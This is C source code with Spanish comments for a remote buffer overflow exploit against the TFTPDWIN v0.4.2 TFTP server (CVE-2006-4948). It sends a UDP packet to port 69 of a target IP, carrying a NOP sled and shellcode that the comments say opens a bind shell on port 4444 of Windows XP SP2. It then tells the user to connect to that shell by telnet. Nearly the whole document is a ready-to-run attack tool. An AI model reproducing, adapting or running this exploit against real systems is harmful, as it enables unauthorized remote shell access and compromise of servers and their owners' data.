/* Exploit: Remote Buffer Overflow Exploit Application: ProSysInfo TFTPDWIN v0.4.2 Attack: Remote Shell Exploit Author: Alvaro J. Gene (Socket_0x03) Credits: Discovery of this vulnerability is credited to Parvez Anwar. CVE: CVE-2006-4948 */ //El archivo de cabecera stdio para las funciones básicas de C: #include //El archivo de cabecera winsock2.h para las funciones de sockets: #include //Enlazando winsock2 a la librería wsock32.lib: #pragma comment(lib, "wsock32.lib") //La función Principal: int main(int argc, char *argv[]) { if (argc <= 1) { printf("\n"); printf("=========================================================\n"); printf("===========[ Remote Buffer Overflow Exploit ]============\n"); printf("============[ Application: TFTPDWIN v0.4.2 ]=============\n"); printf("===============[ Attack: Remote Shell ]==================\n"); printf("=========================================================\n\n"); printf("Author: Alvaro J. Gene (Socket_0x03)\n"); printf("Website: www.teraexe.com\n"); printf("Email: Socket_0x03@teraexe.com\n\n"); printf("Uso: AGene_Exploit IP\n"); printf("Ejemplo: AGene_Exploit 192.168.1.100\n\n"); return 0; } else { printf("\n"); printf("=========================================================\n"); printf("===========[ Remote Buffer Overflow Exploit ]============\n"); printf("============[ Application: TFTPDWIN v0.4.2 ]=============\n"); printf("===============[ Attack: Remote Shell ]==================\n"); printf("=========================================================\n\n"); printf("Author: Alvaro J. Gene (Socket_0x03)\n"); printf("Website: www.teraexe.com\n"); printf("Email: Socket_0x03@teraexe.com\n\n"); printf("Uso: AGene_Exploit IP\n"); printf("Ejemplo: AGene_Exploit 192.168.1.100\n\n"); /******************************************************************** **********************[ La Función WSASTartup ]********************** ********************************************************************/ //La estructura WSADATA para almacenar datos de sockets en la variable AGene_WSA: WSADATA AGene_WSA; //La función WSAStarup para comenzar a usar archivos de sockets (.dll). //La palabra MAKEWORD para especificar la versión de los sockets. int AGene_Result = WSAStartup(MAKEWORD(1,1), &AGene_WSA); /*La función WSAStartup devolverá el valor de 0 si logra realizar su tarea; de lo contrario, la función devolverá el valor de 1.*/ if(AGene_Result == 0) { printf("WSASTartup se ha iniciado correctamente.\n"); } else { printf("WSAStartup no se ha iniciado correctamente.\n"); //La función WSACleanup para dejar de usar archivos de sockets (.dll, .lib). WSACleanup(); /*La función system realizará una pausa para que el usuario pueda ver la información anterior.*/ system("PAUSE"); return 0; } /******************************************************************** ************************[ La función Socket ]************************ ********************************************************************/ /*Declarando la variable AGene_Socket, la cual será usada en el futuro para crear un network socket*/ int AGene_Socket = NULL; //Usando la función socket para construir un socket: AGene_Socket = socket(AF_INET, SOCK_DGRAM, 0); //Si existe algún error, la función socket devolverá invalid_socket: if(AGene_Socket == INVALID_SOCKET) { printf("La funcion socket no se ha iniciado correctamente.\n"); WSACleanup(); system("PAUSE"); return 0; } else { printf("La funcion socket se ha iniciado correctamente.\n"); } /******************************************************************** ********************[ La Estructura SOCKADDR_IN ]******************** ********************************************************************/ /* La estructura SOCKADDR_IN se usará para especificar un endpoint (punto final del canal de comunicación), el cual estará compuesto por un dominio de comunicación, una dirección IP, y un número de puerto.*/ SOCKADDR_IN AGene_Socket_Address; /*Usando el parámetro sin_family de la estructura SOCKADDR_IN para especificar un dominio de comunicación:*/ AGene_Socket_Address.sin_family = AF_INET; /*Usando el parámetro sin_port de la estructura SOCKADDR_IN para especificar un número de puerto:*/ AGene_Socket_Address.sin_port = htons(69); //Usando la estructura hostent para almacenar la dirección IP: struct hostent *AGene_Target; //Usando la función gethostbyname para almacenar la IP en AGene_Target: AGene_Target = gethostbyname(argv[1]); //Función memcpy para añadir la IP a la estructura SOCKADDR_IN memcpy(&AGene_Socket_Address.sin_addr.s_addr, AGene_Target->h_addr, AGene_Target->h_length); /******************************************************************** ***********************[ La Función Connect ]************************ ********************************************************************/ /*Declarando la variable AGene_C (C = Conectar), la cual será usada para conectar a un servidor.*/ int AGene_C = NULL; //Usando la función connect para conectar a un servidor: AGene_C = connect(AGene_Socket, (struct sockaddr *)&AGene_Socket_Address, sizeof(AGene_Socket_Address)); /*La función connect va a devolver el valor de 0 si logra conectar con el servidor; de lo contrario, la función devolverá el valor de SOCKET_ERROR.*/ if(AGene_C == 0) { printf("El exploit ha logrado conectar con el servidor.\n\n"); } else { printf("La funcion connect no funciona adecuadamente.\n"); WSACleanup(); system("PAUSE"); return 0; } /******************************************************************** *******************[ Enviando Datos al Servidor ]******************** ********************************************************************/ /*Declarando la variable AGene_Info que almacenará los datos de una shellcode que abrirá el puerto 4444 (examinado en XP SP2).*/ char AGene_Info[] = "\x00\x01\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x8b\xc3\x66\x05\x12\x01\x50\xc3" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90" "\x59\x81\xc9\xd3\x62\x30\x20\x41\x43\x4d\x64" "\x64\x99\x96\x8D\x7E\xE8\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C" "\x8B\x09\x8B\x69\x08\xB6\x03\x2B\xE2\x66\xBA\x33\x32\x52\x68\x77" "\x73\x32\x5F\x54\xAC\x3C\xD3\x75\x06\x95\xFF\x57\xF4\x95\x57\x60" "\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF" "\x47\x8B\x34\xBB\x03\xF5\x99\xAC\x34\x71\x2A\xD0\x3C\x71\x75\xF7" "\x3A\x54\x24\x1C\x75\xEA\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B" "\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3B\xF7\x75\xB4" "\x5E\x54\x6A\x02\xAD\xFF\xD0\x88\x46\x13\x8D\x48\x30\x8B\xFC\xF3" "\xAB\x40\x50\x40\x50\xAD\xFF\xD0\x95\xB8\x02\xFF\x11\x5c\x32\xE4" "\x50\x54\x55\xAD\xFF\xD0\x85\xC0\x74\xF8\xFE\x44\x24\x2D\xFE\x44" "\x24\x2c\x83\xEF\x6C\xAB\xAB\xAB\x58\x54\x54\x50\x50\x50\x54\x50" "\x50\x56\x50\xFF\x56\xE4\xFF\x56\xE8\x90\x90\x90\x90\x90\x90\x90" "\x42\xfb\x61\x40\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00"; //La función send para enviar los datos al servidor: send(AGene_Socket, AGene_Info, sizeof(AGene_Info), 0); /******************************************************************** ************************[ Cerrar y Limpiar ]************************* ********************************************************************/ /*La función shutdown para finalizar la transferencia de datos. Primer parámetro: Se especifica un socket de internet. Segundo parámetro: El valor SD_SEND para dejar de enviar datos.*/ shutdown(AGene_Socket, SD_SEND); //La función closesocket para cerrar un network socket: closesocket(AGene_Socket); //La función WSACleanup para dejar de usar archivos de sockets (.dll, .lib). WSACleanup(); printf("El exploit ha completado su funcionamiento.\n"); printf("Teclear: telnet + IP + Puerto.\n"); printf("Ejemplo: telnet 192.168.1.100 4444.\n"); /*La función system realizará una pausa para que el usuario pueda ver la información anterior.*/ system("PAUSE"); return 0; } }